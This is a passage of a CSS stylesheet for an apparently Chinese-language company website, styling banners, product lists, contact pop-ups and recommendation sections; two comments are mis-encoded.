width: 345px
}
.zhekou {
margin: 56px auto;
width: 970px
}
.w-1228 {
width: 1228px;
margin: 0 auto
}
.im-big-img {
height: 540px;
position: relative;
width: 100%;
overflow: hidden
}
.im-big-img .im-big-img-banner {
position: absolute;
width: 300%;
height: 100%
}
.im-big-img .im-big-img-banner li {
float: left;
width: 33.33%;
height: 100%;
position: absolute
}
.im-big-img .im-big-img-banner li img {
width: 100%;
height: 100%
}
.im-big-img .im-big-img-banner li div {
position: absolute;
left: 25%;
top: 35%;
right: 10%;
color: #fff
}
.im-big-img .im-spe li div {
left: 10%
}
.im-big-img .im-big-img-banner li div h2 {
text-align: left;
color: #fff;
font-weight: 700;
font-size: 40px;
padding: 0;
line-height: 40px
}
.im-big-img .im-big-img-banner li div p {
font-size: 16px;
padding-top: 30px;
width: 80%;
line-height: 24px
}
.im-big-img .im-big-img-banner li div p .mobile {
font-size: 22px
}
.company .com-title {
text-align: center;
font-size: 32px;
color: #373d41;
line-height: 232px
}
.company .com-title h2 {
font-size: 28px
}
.company .com-adv,.company .com-intro {
padding-bottom: 116px
}
.company .com-adv {
padding-bottom: 0;
margin-top: 50px
}
.company .com-intro .com-intro-c ul {
overflow: hidden
}
.company .com-intro .com-intro-c ul li {
float: left;
width: 25%;
box-sizing: border-box;
border-right: 2px #f2f3f3 solid;
text-align: center;
line-height: 120px;
font-size: 54px;
color: #000
}
.company .com-intro .com-intro-c ul li:last-child {
border: 0
}
.company .com-intro .com-intro-c ul li span {
display: block;
font-size: 14px;
line-height: 34px;
margin-top: 14px;
font-weight: 700
}
.company .com-intro .com-intro-c p {
margin-top: 103px;
font-size: 14px;
line-height: 24px;
color: #4a4a4a
}
.company .com-adv .com-adv-c {
overflow: hidden;
box-shadow: 0 2px 15px 0 rgba(0,0,0,.15);
background: #fff
}
.company .com-adv .com-adv-c-l {
width: 282px;
height: 424px;
background: #f5f5f6
}
.company .com-adv .com-adv-c-l li {
border-right: 1px solid #d7d8d9;
height: 64px;
line-height: 64px;
color: #333;
font-size: 14px;
cursor: pointer;
padding-left: 36px;
text-align: left
}
.company .com-adv .com-adv-c-l li:hover {
color: #00c1de
}
.company .com-adv .com-adv-c-l li.on {
background: #fff;
color: #00a2ca;
border-left: 4px solid #00c1de;
position: relative;
padding-left: 32px;
border-right: 0;
border-top: 1px solid #d7d8d9;
border-bottom: 1px solid #d7d8d9;
height: 62px;
line-height: 62px
}
.company .com-adv .com-adv-c-r {
width: 830px;
height: 344px;
padding: 40px;
border-left: 1px solid #d7d8d9;
margin-left: -1px
}
.company .com-adv .com-adv-c-r>ul>li {
display: none
}
.company .com-adv .com-adv-c-r>ul>li:first-child {
display: block
}
.company .com-adv .com-adv-c-r li {
padding: 0 60px;
text-align: left
}
.company .com-adv .com-adv-c-r li h3 {
color: #333;
font-size: 16px;
margin-bottom: 12px
}
.company .com-adv .com-adv-c-r li ul {
margin-bottom: 16px
}
.company .com-adv .com-adv-c-r li ul li {
padding: 0;
color: #666;
line-height: 24px;
font-size: 14px
}
h2 {
font-size: 24px;
color: #333;
padding-bottom: 10px;
font-weight: 400;
text-align: center
}
.w-1228 p {
font-size: 14px
}
.spe-tit {
margin-bottom: -80px
}
.company .w-1228 img {
width: 100%
}
.chejian-service ul {
overflow: hidden
}
.chejian-service ul li {
float: left;
width: 22%;
margin-right: 4%;
box-sizing: border-box;
border: 8px solid #ccc;
padding: 50px 55px 60px;
text-align: center
}
.chejian-service ul li:last-child {
margin-right: 0
}
.company .w-1228 .chejian-service ul li img {
width: 50%
}
.chejian-service ul li hr {
width: 80%;
margin: 35px auto;
height: 5px;
background: #ccc;
border: 0
}
.chejian-service ul li p {
color: #000;
font-size: 22px;
font-weight: 700;
line-height: 30px
}
.neiye-banner2 img {
width: 100%
}
.neiye-banner2 .contact-us-text {
width: 100%;
text-align: center;
position: absolute;
left: 50%;
margin-left: -50%;
top: 20%
}
.neiye-banner2 .contact-us-text h2 {
font-size: 36px;
font-weight: 700
}
.neiye-banner2 .contact-us-text .des {
font-size: 14px;
padding: 10px 0;
color: #000
}
.neiye-banner2 .contact-us-text .tel {
font-size: 18px;
color: #000
}
.lianxi {
border: 1px dotted #ccc
}
.lianxi p {
float: left;
font-size: 14px;
line-height: 30px;
text-align: left;
border-left: 1px dotted #ccc;
padding: 1.5%;
width: 30.2%;
color: #000
}
.lianxi p img {
float: left;
margin-right: 10px
}
.prod-chejian .chejian-tit {
font-weight: 400;
font-size: 18px;
padding-bottom: 10px;
display: inline-block;
line-height: 30px
}
.web-list {
margin-bottom: 50px
}
.web-list ul {
overflow: hidden
}
.web-list ul li {
width: 16%;
float: left;
margin: 0 5% 20px 0;
box-sizing: border-box;
padding: 20px 30px;
text-align: center
}
.web-list ul li:nth-of-type(5n) {
margin-right: 0
}
.company .w-1228 .web-list ul li img {
width: 60px;
height: 60px
}
.web-list ul li p {
padding: 10px 0 0
}
.web-list ul li img {
width: 60px;
height: 60px
}
.clearfix:after {
content: '';
display: block;
clear: both
}
#inner-container {
padding-bottom: 50px
}
#inner-container .inner-title {
position: relative;
height: 50px;
line-height: 50px;
padding: 20px 0
}
#inner-container .title {
width: 270px;
margin: 0 auto;
text-align: center;
font-size: 28px;
font-weight: 400;
color: #000;
padding: 0 30px;
background: #fff;
position: relative;
z-index: 1
}
#inner-container .in-tit-p {
text-align: center;
font-size: 16px;
color: #5f6367;
margin-top: -10px
}
#inner-container .about-co .title,#inner-container .advantages .title {
background: 0 0
}
#inner-container .advantages {
padding: 30px 0 50px;
background: #f5f5f5
}
#inner-container .advantages .adv-c {
padding-top: 70px
}
#inner-container .advantages .adv-c li {
float: left;
width: 25%;
box-sizing: border-box;
text-align: center
}
#inner-container .advantages .adv-c li img {
width: 55px;
margin-bottom: 15px
}
#inner-container .advantages .adv-c li h2 {
margin-bottom: 5px;
color: #373d41;
line-height: 28px;
font-size: 16px
}
#inner-container .advantages .adv-c li p {
color: #a9b0b4;
font-size: 14px;
line-height: 22px;
width: 250px;
margin: 0 auto
}
#inner-container .about-co {
padding: 30px 0
}
#inner-container .about-co-c {
margin-top: 70px
}
#inner-container .about-co-c ul li {
float: left;
width: 49%;
height: 226px;
margin: 0 2% 30px 0;
box-sizing: border-box;
border: 1px solid #eaeaea;
padding: 25px;
transition: all .4s ease
}
#inner-container .about-co-c ul li:hover {
border: 1px solid #ccc;
box-shadow: 0 0 4px 1px #ccc
}
#inner-container .about-co-c ul li:nth-of-type(2n) {
margin-right: 0
}
#container .cooperation .co-plan ul li:last-child,#inner-container .about-co-c ul li:nth-child(3) {
margin-bottom: 0
}
#inner-container .about-co-c ul li .co-tit {
font-size: 18px;
font-weight: 700;
margin-bottom: 10px;
color: #262829
}
#inner-container .about-co-c ul li .co-des {
display: block;
font-size: 14px;
color: #262829;
margin-bottom: 10px
}
#inner-container .about-co-c ul li a {
display: inline-block;
border: 1px solid #00c1de;
width: 120px;
text-align: center;
padding: 4px 0;
margin-right: 15px;
font-size: 14px;
color: #00c1de;
transition: all .4s ease
}
#inner-container .about-co-c ul li a:hover {
background: #00c1de;
color: #fff
}
#inner-container .about-co-c ul li a.on {
background: #00c1de;
color: #fff;
transition: all .4s ease
}
#inner-container .about-co-c ul li a.on:hover {
background: #33cde5
}
.zt-more {
display: block;
width: 200px;
height: 35px;
line-height: 35px;
margin: 25px auto 50px;
text-align: center;
border: 1px solid #333;
border-radius: 17.5px;
font-size: 16px
}
input:focus {
outline: 0
}
.f-r {
float: right
}
.tip-box {
z-index: 3147483647
}
.contact-box {
position: fixed;
right: 0;
top: 35%;
color: #fff;
width: 90px;
text-align: center;
z-index: 5
}
.contact-box span {
display: block;
font-size: 12px;
padding-top: 10px
}
.contact-box li {
padding: 10px 0;
background: rgba(0,0,0,.8);
cursor: pointer
}
.contact-box li:first-child {
padding-top: 15px;
border-radius: 4px 0 0 0
}
.contact-box li:last-child {
padding-bottom: 15px;
border-radius: 0 0 0 4px
}
.contact-box li:hover {
background: rgba(0,0,0,.9)
}
.call-box {
background: #fff;
z-index: 10000;
display: none;
width: 514px;
height: 280px;
position: fixed;
top: 50%;
margin-top: -140px;
right: 100px;
box-shadow: 0 0 5px 1px #484343;
text-align: center;
box-sizing: border-box;
padding: 20px
}
.call-box .large-tit {
font-size: 33px;
font-weight: 700;
color: #212224;
line-height: 24px;
margin-bottom: 16px
}
.call-box .common-p span {
font-size: 12px;
color: #999;
text-align: justify
}
.call-box .sub-tit {
line-height: 24px;
margin-bottom: 1rem
}
.call-box input {
width: 370px;
height: 34px;
border: 1px solid #ccc;
border-radius: 4px;
text-indent: 10px;
font-size: 16px
}
.call-box input::-webkit-input-placeholder {
color: #999;
font-size: 16px
}
.call-box .des {
line-height: 24px;
margin-top: 16px
}
.call-box .call-back {
display: inline-block;
width: 112px;
height: 42px;
line-height: 42px;
background: #212224;
color: #fff;
font-size: 14px;
border-radius: 2px;
margin-top: 20px
}
.call-box .call-back:hover {
background: #5b5e63
}
.call-box .call-close {
position: absolute;
top: 5px;
right: 5px;
cursor: pointer
}
.apply-box {
background: #fff;
z-index: 10001;
display: none;
width: 400px;
height: 500px;
position: fixed;
top: 50%;
margin-top: -310px;
right: 100px;
box-shadow: 0 0 5px 1px #484343;
box-sizing: border-box;
padding: 0 20px;
background: #fff
}
.apply-box .a-b-tit {
border-bottom: 2px solid #212224;
padding: 10px 0 10px 10px
}
.apply-box .a-b-con {
overflow: hidden;
box-sizing: border-box;
padding: 10px 20px
}
.apply-box .a-b-con .input-area {
padding: 20px 0;
height: 557px;
box-sizing: border-box;
}
.apply-box .a-b-con .input-area li {
overflow: hidden;
margin-bottom: 20px
}
.apply-box .a-b-con .input-area li .red {
vertical-align: middle;
color: red
}
.apply-box .a-b-con .input-area li .left {
width: 20%;
text-align: right;
line-height: 26px;
font-size: 15px
}
.apply-box .a-b-con .input-area li .right {
width: 80%;
position: relative
}
.apply-box .a-b-con .input-area li .right input {
margin-left: 10px;
height: 26px;
line-height: 26px;
text-indent: 10px;
width: 95%;
border: 1px solid #ccc
}
.apply-box .a-b-con .input-area li .right input.active {
border-color: red
}
.apply-box .a-b-con .input-area li .right select {
height: 28px;
border-radius: 0;
border: 1px solid #ccc
}
.apply-box .a-b-con .input-area li .right #cmbProvince {
margin-left: 10px
}
.apply-box .a-b-con .input-area li .right textarea {
margin-left: 10px;
width: 269px;
height: 150px;
font-size: 14px;
padding: 5px 10px;
resize: none;
border: 1px solid #ccc
}
.apply-box .a-b-con .input-area li .right .abs {
position: absolute;
right: 10px;
top: 3.5px;
font-size: 14px;
color: #666
}
.apply-box .submit {
display: inline-block;
width: 100px;
height: 35px;
line-height: 35px;
background: #212224;
color: #fff;
font-size: 14px;
border-radius: 4px;
margin-top: 20px;
text-align: center;
margin-left: 120px
}
.apply-box .submit:hover {
background: #5b5e63
}
.apply-box .call-close {
position: absolute;
top: 5px;
right: 5px;
cursor: pointer
}
textarea {
resize: none;
vertical-align: top
}
.w-mc {
width: 1112px;
margin: 0 auto
}
.w-880 {
width: 880px;
margin: 0 auto
}
/*�߶˶��Ʋ�Ʒ��ʼ*/
.main-content-new {
font-size: 16px;
margin-top: 50px
}
.mc-banner img {
width: 100%
}
.main-content-new a{
text-decoration: none;
color: #333;
transition: all .3s ease;
cursor: pointer
}
.main-content-new a img {
transition: all .3s ease
}
a:hover {
color: red
}
.main-content-new a:hover img {
transform: scale(1.2)
}
.mc-title {
font-size: 30px;
text-align: center;
margin-bottom: 20px;
color: #333;
line-height: 34px
}
.mc-time {
text-align: center;
margin-bottom: 30px
}
.mc-context .mc-des {
font-weight: 600;
margin-bottom: 35px;
line-height: 30px;
padding: 6px 15px;
background: #e1e1e1;
box-sizing: border-box
}
.mc-context .mc-body a {
color: #00f
}
.mc-body div{
line-height: 30px;
letter-spacing: 1px;
text-align: justify
}
.mc-body .contact-friends-img, .mc-body .product-box-new {
width: 1112px;
}
.news-title {
padding-top: 40px;
width: 100%;
left: 0;
background: #f2f2f2;
}
.product-box .box-img ul {
margin-left: 5%;
}
.box-img {
background: #f2f2f2;
width: 100%;
}
.mc-body a:hover img {
transform: scale(1)
}
.more {
color: black!important;
display: block;
width: 180px;
text-align: center;
margin: 40px auto 0;
padding: 10px;
border-top: 1px solid #f78181;
border-bottom: 1px solid #f78181
}
.more:hover {
color: #f78181
}
.mc-body img {
margin: 20px 0
}
.mc-common-title {
font-size: 28px;
text-align: center;
color: #333;
padding: 70px 0 70px 0;
}
.mc-introduce .mc-small-title,.product-details__info .mc-small-title {
font-size: 24px;
margin-top: 20px
}
.mc-introduce .mc-img-zt {
margin-top: 30px
}
.mc-introduce .mc-img-zt ul {
overflow: hidden
}
.mc-introduce .mc-img-zt ul li {
float: left;
width: 32%;
margin-right: 2%
}
.mc-introduce .mc-img-zt ul li:last-child {
margin-right: 0
}
.mc-introduce .mc-img-zt ul li img {
width: 100%;
height: auto;
border: none
}
.mc-introduce .mc-img-zt ul li p {
text-align: center
}
.mc-introduce .mc-zt-location {
margin-top: 50px
}
.mc-introduce .kf-online {
border: 1px solid #f25807;
padding: 5px 30px;
font-size: 14px;
color: #f25807
}
.mc-introduce .kf-online:hover {
background: #f25807;
color: #fff
}
.mc-bg-product .mc-bg-p-body ul {
overflow: hidden
}
.mc-bg-product .mc-bg-p-body ul li {
float: left;
width: 22.75%;
height: 230px;
overflow: hidden;
margin: 0 3% 20px 0
}
.mc-bg-product .mc-bg-p-body ul li:nth-of-type(4n) {
margin-right: 0
}
.mc-bg-product .mc-bg-p-body ul li .img-wrap {
width: 100%;
height: 182px;
overflow: hidden
}
.mc-bg-product .mc-bg-p-body ul li .img-wrap img {
width: 100%;
height: 100%;
border: none
}
.mc-bg-product .mc-bg-p-body ul li p {
text-align: center
}
.mc-bg-product .mc-n-p-body {
margin-bottom: 50px
}
.mc-bg-product .mc-n-p-body li p {
line-height: 20px;
margin-top: 10px
}
.mc-bg-product .more-about {
display: block;
width: 280px;
box-sizing: border-box;
padding: 11px 15px;
line-height: 1.5;
text-align: center;
margin: 20px auto 100px;
border-top: 1px solid #f78181;
border-bottom: 1px solid #f78181
}
.mc-price .mc-common-title {
padding-top: 50px;
margin: 50px auto
}
.mc-price-body .mc-input-item {
text-align: center;
margin-bottom: 20px
}
.mc-price-body .mc-input-item label {
width: 120px;
display: inline-block;
text-align: right;
letter-spacing: 1px
}
.mc-price-body .mc-input-item input {
width: 300px;
text-indent: 5px;
border: 1px solid #ccc;
padding: 5px 0;
border-radius: 2px;
line-height: 22px;
font-size: 16px
}
.mc-price-body .mc-input-item select {
width: 150px !important;
height: 28px;
border-radius: 0;
border: 1px solid #ccc;
}
.mc-price-body .mc-input-item textarea {
width: 302px;
height: 20px;
text-indent: 5px;
border: 1px solid #ccc;
padding: 5px 0;
border-radius: 2px;
font-size: 16px
}
.mc-price-body .mc-input-item .mc-btn {
display: inline-block;
background: #333;
padding: 5px 50px;
color: #fff;
font-size: 14px;
margin-top: 20px
}
.mc-price-body .mc-input-item .mc-btn:hover {
background: #5f5d5d
}
.prod-ques .mc-common-title {
width: 880px;
margin: 50px auto!important;
border-top: 1px solid #ccc!important
}
/*�߶˶��Ʋ�Ʒ����*/
.templet-text {
width: 880px;
margin: 0 auto;
}
.template-size-img {
text-align: center !important;
margin: 0 auto;
}
.template-size-img p{
text-align: center !important;
margin-bottom: 20px;
}
.template-size-img img{
margin-top: 40px !important;
width: 600px;
}
.single-recommend {
width: 880px;
margin: 0 auto;
}
.single-recommend-img {
background-color: #f6f6f6;
width: 880px;
margin: 0 auto;
margin-top: 40px;
margin-bottom: 40px;
padding-top: 30px;
padding-bottom: 10px;
height: 200px;
}
.single-recommend-title {
color: #313131;
font-size: 15px;
font-weight: 700;
}
.single-recommend-desc {
margin-right: 10px;
margin-bottom: 5px !important;
font-size: 13px !important;
font-weight: 400;
color: #a0a0a0;
line-height: 14px !important;
}
.single-recommend-img img{
width: 245px;
height: 175px;
float: left;
margin: 0 20px 0 20px !important;
}
.single-recommend-img p{
margin-bottom: 10px;
}
.single-recommend-img a {
display: inline-block;
margin-top: 10px;
background-color: red;
padding: 4px 20px 4px 20px;
border-radius: 5px;
color: white !important;
font-size: 16px;
}
.w-new {
width: 1228px;
margin: 0 auto
}
.w-880 {
width: 880px;
margin: 0 auto
}
.w-1112 {
width: 1112px;
margin: 0 auto
}
.ali-col-4-y ul {
overflow: hidden
}
.ali-col-4-y ul li {
float: left;
width: 290px;
height: 226px;
border: 1px solid #eaeaea;
margin: 0 20px 20px 0;
text-align: center
}
.ali-col-4-y ul li:hover {
border-color: #1b1b1b
}
.ali-col-4-y ul li:nth-child(4n) {
margin-right: 0
}
.ali-col-4-y ul li div {
width: 60px;
height: 60px;
margin: 42px auto 0
}
.ali-col-4-y ul li .title {
font-size: 18px;
color: #333;
line-height: 54px
}
.ali-col-4-y ul li .sub-title {
font-size: 12px;
color: #666;
line-height: 20px;
width: 80%;
margin: 0 auto
}
.ali-col-4-x ul {
overflow: hidden
}
.ali-col-4-x ul li {
float: left;
width: 290px;
height: 142px;
border: 1px solid #eaeaea;
margin: 0 20px 20px 0
}
.ali-col-4-x ul li:hover {
border-color: #1b1b1b
}
.ali-col-4-x ul li:nth-child(4n) {
margin-right: 0
}
.ali-col-4-x ul li .left {
float: left;
width: 46px;
height: 46px;
margin: 39px 0 0 30px
}
.ali-col-4-x ul li .right {
float: right;
margin-top: 39px;
width: 179px;
height: 103px
}
.ali-col-4-x ul li .right .title {
font-size: 18px;
color: #333;
line-height: 18px;
margin-bottom: 8px
}
.ali-col-4-x ul li .right .sub-title {
font-size: 12px;
color: #666;
line-height: 20px;
width: 80%
}
.ali-col-3-x ul {
overflow: hidden
}
.ali-col-3-x ul li {
float: left;
width: 388px;
height: 143px;
border: 1px solid #eaeaea;
margin-right: 29px
}
.ali-col-3-x ul li:nth-child(3n) {
margin-right: 0
}
.ali-col-3-x ul li:hover {
border-color: #1b1b1b
}
.ali-col-3-x ul li .left {
width: 40px;
height: 40px;
float: left;
margin: 39px 0 0 65px
}
.ali-col-3-x ul li .right {
width: 252px;
height: 102px;
float: right;
margin-top: 39px
}
.ali-col-3-x ul li .right .title {
color: #333;
line-height: 18px;
font-size: 18px;
margin-bottom: 16px
}
.ali-col-3-x ul li .right .sub-title {
color: #666;
line-height: 12px;
font-size: 12px;
margin-bottom: 9px
}
.ali-col-2 ul {
overflow: hidden
}
.ali-col-2 ul li {
float: left;
width: 49%;
height: 138px;
margin: 2px 2% 30px 0;
box-sizing: border-box;
border: 1px solid #eaeaea;
padding: 25px;
transition: all .4s ease
}
.ali-col-2 ul li:nth-child(2n) {
margin-right: 0
}
.ali-col-2 ul li:hover {
border: 1px solid #ccc;
box-shadow: 0 0 4px 1px #ccc
}
.ali-col-2 ul li .title {
font-size: 18px;
font-weight: 600;
margin-bottom: 10px;
color: #262829
}
.ali-col-2 ul li .description {
font-size: 14px;
color: #262829;
margin-bottom: 10px
}
.ali-title {
position: relative;
margin: 70px auto;
text-align: center
}
.ali-title .text {
display: inline-block;
line-height: 31px;
margin: 0 auto;
padding: 0 50px;
font-size: 26px;
background: #fff;
position: relative;
z-index: 2;
color: #333
}
.ali-title .line {
width: 100%;
height: 1px;
background: #ddd;
position: absolute;
top: 15px;
left: 0;
z-index: 1
}
.ali-sub-title p {
line-height: 20px;
font-size: 16px;
margin-bottom: 30px;
text-align: center
}
.ali-join-us {
height: 1450px;
background: url(../images/join-bg.jpg) no-repeat;
background-size: cover;
background-attachment: fixed;
padding: 40px 0;
text-align: center;
color: #fff;
margin-bottom: 50px
}
.ali-join-us .w {
width: 1228px;
margin: 0 auto
}
.ali-join-us h2 {
font-weight: 400;
font-size: 26px;
height: 42px;
line-height: 42px;
color: #fff
}
.ali-join-us .body {
text-align: left
}
.ali-join-us .body ul li {
padding: 100px 0
}
.ali-join-us .body ul li h3 {
padding-left: 50px;
font-size: 20px;
height: 48px;
line-height: 48px;
font-weight: 400
}
.ali-join-us .body ul li p {
padding-left: 200px;
font-size: 16px;
height: 30px;
line-height: 30px
}
.vitra-words-page .first-title,.vitra-words-page .title {
font-size: 28px;
text-align: center;
color: #333;
margin: 70px auto;
line-height: 32px
}
.vitra-words-page .title {
padding-top: 100px;
border-top: 1px solid #ccc
}
.vitra-words-page .body p {
line-height: 30px;
letter-spacing: 1px;
color: #666;
font-size: 16px;
text-align: justify
}
.vitra-words-page .sub-title {
font-size: 24px;
margin-top: 30px;
color: #666;
margin-bottom: 5px
}
.vitra-words-page .col-4 {
margin-top: 30px
}
.vitra-words-page .col-4 ul {
overflow: hidden
}
.vitra-words-page .col-4 ul li {
float: left;
width: 22.75%;
height: 230px;
margin: 0 3% 20px 0;
text-align: center;
overflow: hidden
}
.vitra-words-page .col-4 ul li:nth-child(4n) {
margin-right: 0
}
.vitra-words-page .col-4 ul li p a {
font-size: 16px;
color: #666;
line-height: 30px;
letter-spacing: 1px
}
.vitra-words-page .col-4 ul li a {
color: #333;
transition: all .3s ease
}
.vitra-words-page .col-4 ul li div {
height: 182px;
overflow: hidden
}
.vitra-words-page .col-4 ul li img {
width: 100%;
height: 100%;
border: none;
transition: all .3s ease
}
.vitra-words-page .col-4 ul li a:hover img {
transform: scale(1.2)
}
.vitra-words-page .col-3 ul {
overflow: hidden;
margin-top: 30px
}
.vitra-words-page .col-3 ul li {
float: left;
width: 32%;
margin: 0 2% 20px 0;
text-align: center;
overflow: hidden
}
.vitra-words-page .col-3 ul li:nth-child(3n) {
margin-right: 0
}
.vitra-words-page .col-3 ul li div {
overflow: hidden
}
.vitra-words-page .col-3 ul li img {
width: 100%;
height: auto;
border: none;
transition: all .3s ease
}
.vitra-words-page .col-3 ul li:hover img {
transform: scale(1.2)
}
.vitra-words-page .col-3 ul li p {
font-size: 16px;
color: #666;
line-height: 30px;
letter-spacing: 1px
}
.vitra-words-page .col-2 ul {
overflow: hidden
}
.vitra-words-page .col-2 ul li {
float: left;
width: 49%;
margin-right: 2%;
text-align: center
}
.vitra-words-page .col-2 ul li:nth-child(2n) {
margin-right: 0
}
.vitra-words-page .col-2 ul li div {
overflow: hidden
}
.vitra-words-page .col-2 ul li img {
width: 100%;
height: auto;
border: none
}
.vitra-words-page .kefu .input-item {
text-align: center;
margin-bottom: 20px
}
.vitra-words-page .kefu .input-item label {
width: 120px;
display: inline-block;
text-align: right;
letter-spacing: 1px;
font-size: 16px
}
.vitra-words-page .kefu .input-item input {
width: 300px;
text-indent: 5px;
border: 1px solid #ccc;
padding: 5px 0;
border-radius: 2px;
line-height: 22px;
font-size: 16px
}
.vitra-words-page .kefu .input-item textarea {
width: 302px;
height: 50px;
text-indent: 5px;
border: 1px solid #ccc;
padding: 5px 0;
border-radius: 2px;
font-size: 16px
}
.vitra-words-page .kefu .input-item .btn {
display: inline-block;
background: #333;
padding: 5px 50px;
color: #fff;
font-size: 14px;
margin-top: 20px;
transition: all .3s ease;
cursor: pointer
}
.vitra-words-page .kefu .input-item .btn:hover {
background: #5f5d5d
}
.vitra-words-page .img img {
width: 100%;
height: auto;
margin-top: 30px
}
.product-list__banner {
position: relative
}
.product-list__banner__new {
margin-top: -50px
}
.product-list__banner .text-wrapper {
position: absolute;
top: 0;
width: 100%;
height: 70vh;
line-height: 70vh;
text-align: center
}
.product-list__banner .text {
display: inline-block;
width: 50%;
color: #333;
font-weight: 400;
background: rgba(255,255,255,.7);
padding: 40px 21px;
max-width: 620px;
line-height: 1.3;
vertical-align: middle
}
.product-list__banner .text .title {
font-size: 36px;
margin-bottom: 24px;
letter-spacing: .5px;
text-align: center;
line-height: 38px
}
.product-list__banner .text .desc {
font-size: 17px;
margin-bottom: 16px;
letter-spacing: .32px;
text-align: center
}
.product-list__banner .img {
height: 70vh;
background-size: cover;
background-position: center
}
.product-list__description>div {
padding: 55px 0;
font-size: 22px;
line-height: 1.3;
color: #333;
letter-spacing: .32px
}
.product-list__description .container-center {
padding: 0 10px;
margin: 0 auto;
max-width: 900px;
text-align: justify
}
.product-list__description b {
font-weight: 600;
color: #000
}
.bg__grey {
background: #f2f2f2
}
.product-list__categories .wrapper>div {
padding: 80px 0 125px
}
.product-list__categories .wrapper .container-center {
padding: 0 10px;
max-width: 1132px;
margin: 0 auto;
box-sizing: border-box
}
.product-list__categories .wrapper .title {
text-align: center;
font-size: 28px;
line-height: 1.3;
font-weight: 400;
color: #333;
margin-bottom: 48px;
letter-spacing: .32px
}
.news-list__wrapper .content ul,.product-list__categories .wrapper .content {
overflow: hidden
}
.news-list__wrapper .content .item,.product-list__categories .wrapper .content .item {
float: left;
width: 32%;
margin-right: 2%;
padding-bottom: 32px;
vertical-align: top
}
.news-list__wrapper .content .item:nth-child(3n),.product-list__categories .wrapper .content .item:nth-child(3n) {
margin-right: 0
}
.news-list__wrapper .content .item>div,.product-list__categories .wrapper .content .item>div {
margin-bottom: 20px
}
.news-list__wrapper .content .item a,.product-list__categories .wrapper .content .item a {
display: block
}
.news-list__wrapper .content .item a img,.product-list__categories .wrapper .content .item a img {
width: 100%;
height: auto
}
.news-list__wrapper .content .item a:hover img {
transform: none
}
.news-list__wrapper h2 {
font-size: 22px;
padding-bottom: 50px
}
.news-list__wrapper .content .item>p,.product-list__categories .wrapper .content .item>p {
text-align: center;
font-size: 14px;
line-height: 1.3;
color: #333;
letter-spacing: .32px
}
.news-list__wrapper .content .item>p.item-title,.product-list__categories .wrapper .content .item>p.item-title {
font-size: 16px;
margin-bottom: 5px
}
.news-list__wrapper .content .item>p.item-desc,.product-list__categories .wrapper .content .item>p.item-desc {
height: 54px
}
.product-list__categories .wrapper .mc-bg-p-body ul {
overflow: hidden
}
.product-list__categories .wrapper .mc-bg-p-body ul li {
float: left;
width: 22.75%;
height: 230px;
overflow: hidden;
margin: 0 3% 20px 0
}
.product-list__categories .wrapper .mc-bg-p-body ul li:nth-of-type(4n) {
margin-right: 0
}
.product-list__categories .wrapper .mc-bg-p-body ul li .img-wrap {
width: 100%;
height: 182px;
overflow: hidden
}
.product-list__categories .wrapper .mc-bg-p-body ul li .img-wrap img {
width: 100%;
height: 100%;
border: none
}
.product-list__categories .wrapper .mc-bg-p-body ul li p {
text-align: center
}
.product-details__title {
margin-bottom: 58px
}
.product-details__title h1 {
display: block;
font-size: 30px;
line-height: 1.3;
font-weight: 400;
color: #333;
margin-bottom: 13px;
text-align: center;
letter-spacing: .32px
}
.product-details__title h2 {
padding-top: 10px;
font-size: 20px;
line-height: 28px
}
.product-details__banner {
margin-bottom: 58px
}
.product-details__banner img {
width: 100%;
height: auto
}
.product-details__description {
padding-bottom: 70px;
border-bottom: 1px solid #ccc;
margin-bottom: 70px
}
.product-details__bigimg .bigimg-item .text,.product-details__description {
line-height: 30px;
letter-spacing: 1px;
font-size: 16px;
text-align: justify
}
.product-details__bigimg .bigimg-item ul,.product-details__bigimg .bigimg-item-new ul {
overflow: hidden
}
.product-details__bigimg .bigimg-item ul li {
float: left;
width: 49.2%;
margin-right: 1.6%
}
.product-details__bigimg .bigimg-item-new ul li {
float: left;
width: 32.2%;
margin-right: 1.7%
}
.product-details__bigimg .bigimg-item ul li:nth-child(2n),.product-details__bigimg .bigimg-item-new ul li:nth-child(3n) {
margin-right: 0
}
.product-details__bigimg .bigimg-item ul li img,.product-details__bigimg .bigimg-item-new ul li img {
width: 100%
}
.product-details__bigimg .bigimg-item .text,.product-details__bigimg .bigimg-item-new .text {
margin: 32px auto
}
.product-details__size .size-img {
text-align: center
}
.product-details__size .size-img .w-880 {
padding-bottom: 70px
}
.product-details__match {
background: #f6f6f6;
padding-bottom: 100px
}
.product-details__match .match-item {
background: #fff;
overflow: hidden;
padding: 25px 70px
}
.product-details__match .match-item a {
display: block
}
.product-details__match .match-item a img {
width: 100%;
height: auto
}
.product-details__match .match-item a:hover img {
transform: none
}
.product-details__match .match-item .match-img {
overflow: hidden;
width: 730px;
float: left;
border-right: 1px solid #d2d2d2
}
.product-details__match .match-item .match-img>div {
float: left;
width: 93px;
text-align: center
}
.product-details__match .match-item .match-img .match-img__plus {
line-height: 93px;
font-size: 26px
}
.product-details__match .match-item .match-img p {
font-size: 14px;
text-align: center
}
.product-details__match .match-item .match-text {
float: right;
width: 200px;
height: 100%;
box-sizing: border-box;
padding-top: 20px;
font-size: 14px;
letter-spacing: 1px
}
.recommond-wrapper {
background: #f2f2f2;
padding-bottom: 100px
}
.recommond-wrapper .content ul {
text-align: center
}
.recommond-wrapper .content .item {
width: 250px;
display: inline-block;
vertical-align: top;
margin-right: 15px
}
.recommond-wrapper .content .item img {
width: 100%;
height: auto
}
.recommond-wrapper .content .item p {
text-align: center;
font-size: 14px
}
.recommond-wrapper .content .item a:hover img {
transform: none
}
.recommond-wrapper .content .item>div {
margin-bottom: 10px
}
.recommond-wrapper .content .item .item-title {
line-height: 24px
}
.cc-index * {
font-size: 16px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
letter-spacing: 1px
}
.w-1228 {
width: 1228px;
margin: 0 auto
}
.cc-index {
font-size: 16px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
letter-spacing: 1px
}
.cc-index img {
border: 0;
vertical-align: top
}
.cc-index li,ul {
list-style: none
}
.cc-index a {
text-decoration: none;
color: #313131
}
.cc-index i,em {
font-style: normal
}
._left {
float: left
}
._right {
float: right
}
.cc-index .banner-slider {
text-align: center
}
.cc-index .banner-slider ul {
position: relative;
height: 1000px;
}
@media screen and (max-width: 750px){
.cc-index .banner-slider ul{
height: auto;
}
}
.cc-index .banner-slider li {
position: absolute;
top: 0;
left: 0;
font-size: 0;
opacity: 0;
width: 100%;
}
.cc-index .banner-slider li a {
display: block;
font-size: 0
}
.cc-index .banner-slider li a img {
width: 100%;
height: auto
}
.cc-index .banner-slider dl {
